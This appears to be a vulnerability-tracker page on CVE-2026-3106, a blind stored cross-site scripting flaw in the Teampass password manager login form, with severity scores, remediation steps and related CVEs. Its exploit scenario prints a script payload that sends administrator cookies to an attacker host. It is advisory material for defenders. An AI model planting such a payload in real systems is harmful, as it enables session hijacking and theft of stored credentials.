Skip to main content

Teampass CVE-2026-3106

| EUVDEUVD-2026-17345 CRITICAL
Cross-site Scripting (XSS) (CWE-79)
2026-03-31 INCIBE
9.3
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit malicious JavaScript in login form parameter
  2. Exploit
    Script stored in failed login logs
  3. Execution
    Administrator views login attempts
  4. Impact
    Arbitrary code executes in admin browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Teampass versions prior to 3.1.5.16. Attacker submits malicious JavaScript in the username field during login to /index.php. Administrator must view failed login attempt logs in the application dashboard to trigger stored XSS execution in their browser.

Impact

Real-world risk is substantial despite no confirmed active exploitation. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) indicates network-accessible attacks requiring no authentication, low complexity, and no user interaction for initial injection, though the blind nature means administrative interaction occurs later during log review. The 9.3 severity reflects high confidentiality and integrity impact potential, as successful exploitation grants JavaScript execution in privileged administrator contexts. EPSS data not provided, but the attack pattern is well-understood and easily automated. The vulnerability affects a password management system-a high-value target where XSS can expose stored credentials for entire organizations. Authentication not required for injection significantly lowers the barrier to exploitation. Mitigation priority should be high for any Teampass deployment, particularly internet-facing instances or those used in multi-user environments where administrators regularly audit authentication logs. The availability of a vendor patch and public disclosure by INCIBE increases likelihood of future exploitation attempts.

Exploit ScenarioDerived

An unauthenticated attacker crafts a malicious login request to the Teampass instance, injecting JavaScript payload into the username field such as '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' and submitting with an invalid password to trigger authentication failure. The malicious input is stored in the failed login log without sanitization. Hours or days later, a Teampass administrator accesses the administrative dashboard to review security events and failed authentication attempts. When the log entry containing the malicious username is rendered in the administrator's browser, the JavaScript executes automatically with the administrator's session privileges, exfiltrating session cookies to the attacker-controlled server. The attacker then uses stolen session tokens to access the Teampass instance as the administrator, gaining access to all stored organizational passwords. The blind nature makes detection difficult as the administrator may not realize their session was compromised through routine log review activities.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 31, 2026

Blind Cross-Site Scripting in Teampass password manager versions prior to 3.1.5.16 allows unauthenticated remote attackers to execute arbitrary JavaScript in administrator browsers via malicious username input during failed login attempts. The vulnerability achieves high confidentiality and integrity impact (CVSS 9.3) because malicious code is stored and automatically executed when administrators review failed authentication logs, enabling potential session hijacking, credential theft, or administrative account compromise. No active exploitation confirmed via CISA KEV, though the attack requires no authentication and minimal complexity.

RemediationAI

Immediately upgrade Teampass to version 3.1.5.16 or later, which addresses this vulnerability along with other security issues identified by INCIBE. Download the patched version from the official Teampass repository and follow standard upgrade procedures including database backup prior to migration. Review administrator session logs and browser history for indicators of exploitation, particularly unexpected JavaScript execution or unauthorized administrative actions following authentication failure log reviews. If immediate patching is not feasible, implement Web Application Firewall rules to filter script tags and JavaScript event handlers from login form parameters, though this is an imperfect workaround. Restrict administrative interface access to trusted IP ranges and implement Content Security Policy headers to limit inline script execution. Complete advisory with additional vulnerability details available at https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-teampass.

Affected VersionsENISA

TeamPass 0 ≤3.1.5.16

Affected Packages

euvd teampass no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Teampass is an open-source collaborative password manager built on PHP and MySQL. This vulnerability stems from improper input validation and output encoding (CWE-79) in the authentication handler at index.php. When processing failed login attempts, the application accepts arbitrary input in the 'contraseña' (password) parameter and username field without sanitization, then renders this unsanitized data in the administrative interface where login failure logs are displayed. The blind XSS nature means the payload executes in a different user context (administrator) than where it was injected (login form), making it particularly dangerous as administrators routinely review authentication logs for security monitoring. The affected CPE (cpe:2.3:a:teampass:teampass) indicates all Teampass installations below version 3.1.5.16 are vulnerable regardless of deployment configuration.

Know when Teampass gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 09:15 nvd
Patch available
CVE Published
Mar 31, 2026 - 08:51 nvd
CRITICAL 9.3

DescriptionCVE.org

Blind Cross-Site Scripting (XSS) in Teampass, versions prior to 3.1.5.16, within the password manager login functionality in the 'contraseña' parameter of the login form 'redacted/index.php'. During failed authentication attempts, the application does not properly clean or encode the information entered by the user in the username field. As a result, arbitrary JavaScript code is automatically executed in the administrator's browser when viewing failed login entries, resulting in a blind XSS condition.

Executive ViewAI

Why It Matters

Teampass password manager versions before 3.1.5.16 contain a critical blind cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious code into failed login logs, which executes when administrators review those logs. This directly threatens credential theft and administrative account compromise, making it a severe risk to your organization's password management infrastructure and privileged access controls.

Business Impact: Severe
Compensating Controls

Apply vendor patch (Teampass 3.1.5.16 or later). If immediate patching is not possible: restrict failed login log access to designated security personnel only, disable public login pages if not operationally required, implement rate-limiting on login attempts to reduce injection opportunities, and monitor Teampass administrator accounts for unauthorized access indicators.

Threat Intelligence Overview

EPSS Score
0.1%
Top 85% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Related Vulnerabilities in Teampass XSS Vulnerabilities

View all 2
CVE-2015-7564 CRITICAL POC
9.8 Apr 12

Multiple SQL injection vulnerabilities in TeamPass 2.1.24 and earlier allow remote attackers to execute arbitrary SQL co

CVE-2023-3086 CRITICAL POC
9.0 Jun 03

Cross-site Scripting (XSS) - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.9. Rated critical severit

CVE-2015-7563 HIGH POC
8.8 Apr 12

Cross-site request forgery (CSRF) vulnerability in TeamPass 2.1.24 and earlier allows remote attackers to hijack the aut

CVE-2023-2859 HIGH POC
8.8 May 24

Code Injection in GitHub repository nilsteampassnet/teampass prior to 3.0.9. Rated high severity (CVSS 8.8), this vulner

CVE-2020-12479 HIGH POC
8.8 Apr 29

TeamPass 2.1.27.36 allows any authenticated TeamPass user to trigger a PHP file include vulnerability via a crafted HTTP

CVE-2023-3083 HIGH POC
8.7 Jun 03

Cross-site Scripting (XSS) - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.9. Rated high severity (C

CVE-2017-15055 HIGH POC
8.1 Nov 27

TeamPass before 2.1.27.9 does not properly enforce item access control when requesting items.queries.php. Rated high sev

CVE-2023-3084 HIGH POC
8.1 Jun 03

Cross-site Scripting (XSS) - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.9. Rated high severity (C

CVE-2020-11671 HIGH POC
8.1 May 04

Lack of authorization controls in REST API functions in TeamPass through 2.1.27.36 allows any TeamPass user with a valid

CVE-2017-15054 HIGH POC
7.5 Nov 27

An arbitrary file upload vulnerability, present in TeamPass before 2.1.27.9, allows remote authenticated users to upload

CVE-2014-3773 HIGH POC
7.5 Aug 07

Multiple SQL injection vulnerabilities in TeamPass before 2.1.20 allow remote attackers to execute arbitrary SQL command

CVE-2014-3772 HIGH POC
7.5 Aug 07

TeamPass before 2.1.20 allows remote attackers to bypass access restrictions via a request to index.php followed by a di

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy